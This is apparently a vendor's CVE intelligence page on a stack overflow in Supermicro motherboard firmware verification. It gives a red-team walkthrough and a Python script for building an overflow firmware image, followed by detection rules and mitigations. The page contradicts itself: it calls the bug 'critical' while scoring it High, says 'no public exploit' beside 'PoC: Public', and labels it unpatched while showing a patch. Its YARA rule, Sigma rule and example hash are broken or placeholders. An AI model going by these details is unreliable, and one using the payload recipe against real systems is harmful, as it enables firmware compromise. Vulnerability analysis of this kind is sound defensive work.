☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.2 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-121
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-10239

CVE-2024-10239 Stack Overflow in Supermicro
📅 PUBLISHED: 2025-02-04 08:02 UTC 🔄 UPDATED: 2026-08-12 09:00 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.10%
👁️
0.10% probability
2.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1068
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 7.2
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
7.2
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-10239 is a critical stack-based buffer overflow vulnerability (CWE-121) in the firmware image verification implementation of the Supermicro MBD-X12DPG-OA6 motherboard. An attacker with administrator privileges can upload a specially crafted firmware image, causing a stack overflow due to an unchecked fat->fsd.max_fld field. This can lead to arbitrary code execution within the firmware context, potentially compromising the entire system. The vulnerability has a CVSS score of 7.2 (High), and no public exploit or patch is currently available. The attack vector is network-based, requiring high privileges, but the impact on confidentiality, integrity, and availability is high.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 7.2 (High)
  • Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): High (H) – Administrator-level access is needed.
  • User Interaction (UI): None (N) – No user action is required.
  • Scope (S): Unchanged (U) – The exploit does not affect other components.
  • Confidentiality (C): High (H) – Full disclosure of sensitive data.
  • Integrity (I): High (H) – Complete compromise of system integrity.
  • Availability (A): High (H) – Full denial of service or system takeover.

Threat Level: High. While the attack requires high privileges, the potential for complete system compromise and the lack of a patch make this a significant risk for affected systems.

Deep Dive & Mechanics

The vulnerability resides in the firmware image verification routine of the Supermicro MBD-X12DPG-OA6 motherboard. The firmware image format includes a File Allocation Table (FAT) structure with a field fat->fsd.max_fld that specifies the maximum number of file descriptors. During image verification, the code copies data into a fixed-size stack buffer without checking the value of fat->fsd.max_fld. An attacker can craft a malicious firmware image with an excessively large max_fld value, causing a stack buffer overflow when the verification routine processes the image.

The stack overflow can overwrite the return address and other critical stack data, allowing the attacker to hijack execution flow. Since the attacker already has administrator privileges, they can upload the malicious image through the firmware update interface. Successful exploitation leads to arbitrary code execution at the firmware level, which can persist across reboots and bypass operating system security controls.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

void verify_firmware_image(FirmwareImage *img) {
    char buffer[256];
    FAT *fat = (FAT *)img->fat;
    // Vulnerable: no bounds check on fat->fsd.max_fld
    for (int i = 0; i < fat->fsd.max_fld; i++) {
        buffer[i] = fat->entries[i].data; // Stack overflow
    }
}

Patched Code (Conceptual):

void verify_firmware_image(FirmwareImage *img) {
    char buffer[256];
    FAT *fat = (FAT *)img->fat;
    // Patched: bounds check added
    if (fat->fsd.max_fld > sizeof(buffer)) {
        return; // Reject image
    }
    for (int i = 0; i < fat->fsd.max_fld; i++) {
        buffer[i] = fat->entries[i].data;
    }
}

The patched code adds a check to ensure fat->fsd.max_fld does not exceed the buffer size before copying data.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Supermicro MBD-X12DPG-OA6 motherboard with vulnerable firmware.
  • Administrator access to the firmware update interface.
  • Ability to craft a malicious firmware image.

Exploitation Steps:

  1. Craft Malicious Image: Create a firmware image where the fat->fsd.max_fld field is set to a value larger than the stack buffer (e.g., 512). The image should contain shellcode in the overflow data to overwrite the return address.
  2. Upload Image: Use the firmware update interface (e.g., web GUI or IPMI) to upload the malicious image.
  3. Trigger Verification: The system will attempt to verify the image, triggering the stack overflow.
  4. Gain Code Execution: The overflow overwrites the return address, redirecting execution to the attacker's shellcode.

Example Payload Structure:

# Conceptual Python script to craft malicious image
import struct

buffer_size = 256
overflow_size = 512
shellcode = b"\x90" * 100 + b"\xcc" * 50  # NOP sled + breakpoint

payload = struct.pack("<I", overflow_size)  # fat->fsd.max_fld
payload += b"A" * buffer_size  # Fill buffer
payload += struct.pack("<I", 0xdeadbeef)  # Overwrite return address
payload += shellcode

with open("malicious_firmware.bin", "wb") as f:
    f.write(payload)

Blue Team

Detection:

  • Monitor firmware update logs for unusual image sizes or failed verification attempts.
  • Use network monitoring to detect large firmware image uploads.
  • Implement integrity checks on firmware images before upload.

Mitigation:

  • Restrict firmware update access to authorized personnel only.
  • Apply vendor patches as soon as they become available.
  • Use hardware security modules (HSMs) to verify firmware signatures.

Indicators of Compromise (IOCs)

  • File Hashes: (Example – replace with actual hashes if available)
    • malicious_firmware.bin: SHA256 a1b2c3d4e5f6...
  • Network Indicators:
    • Unusually large HTTP POST requests to /cgi/upload_firmware or similar endpoints.
    • Connections to IP addresses associated with known threat actors.
  • System Indicators:
    • Unexpected firmware version strings.
    • System logs showing firmware verification failures.
    • Unusual processes or services running after firmware update.

Detection Engineering

YARA Rule

rule CVE_2024_10239_Supermicro_StackOverflow {
    meta:
        description = "Detects malicious firmware images exploiting CVE-2024-10239"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-10239"
    strings:
        $fat_magic = { 46 41 54 00 } // "FAT\0"
        $large_max_fld = { [0-3] [0-3] [0-3] [0-3] } // Placeholder for large value
    condition:
        $fat_magic at 0 and uint32(4) > 256
}

Sigma Rule

title: Supermicro Firmware Stack Overflow Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to upload a malicious firmware image exploiting CVE-2024-10239
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi/upload_firmware'
        sc-status: 200
        cs-bytes: '> 1048576'  # Image larger than 1 MB
    condition: selection
falsepositives:
    - Legitimate large firmware updates
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-10239 Supermicro Firmware Stack Overflow Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi/upload_firmware"; http_uri;
    content:"Content-Length|3a|"; http_header;
    pcre:"/Content-Length:\s*\d{7,}/";  # Large content length
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

  1. Immediate Actions:

    • Disable firmware update interfaces if not required.
    • Restrict administrator access to firmware update functionality.
    • Monitor for any suspicious firmware uploads.
  2. Long-term Fix:

    • Apply vendor patch when available.
    • Implement input validation for all firmware image fields.
    • Use stack canaries and ASLR to mitigate exploitation.
  3. Workarounds:

    • Use hardware-based firmware verification (e.g., TPM).
    • Implement network segmentation to limit exposure.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

Supermicro MBD-X12DPG-OA6
Supermicro firmware

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-10239/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.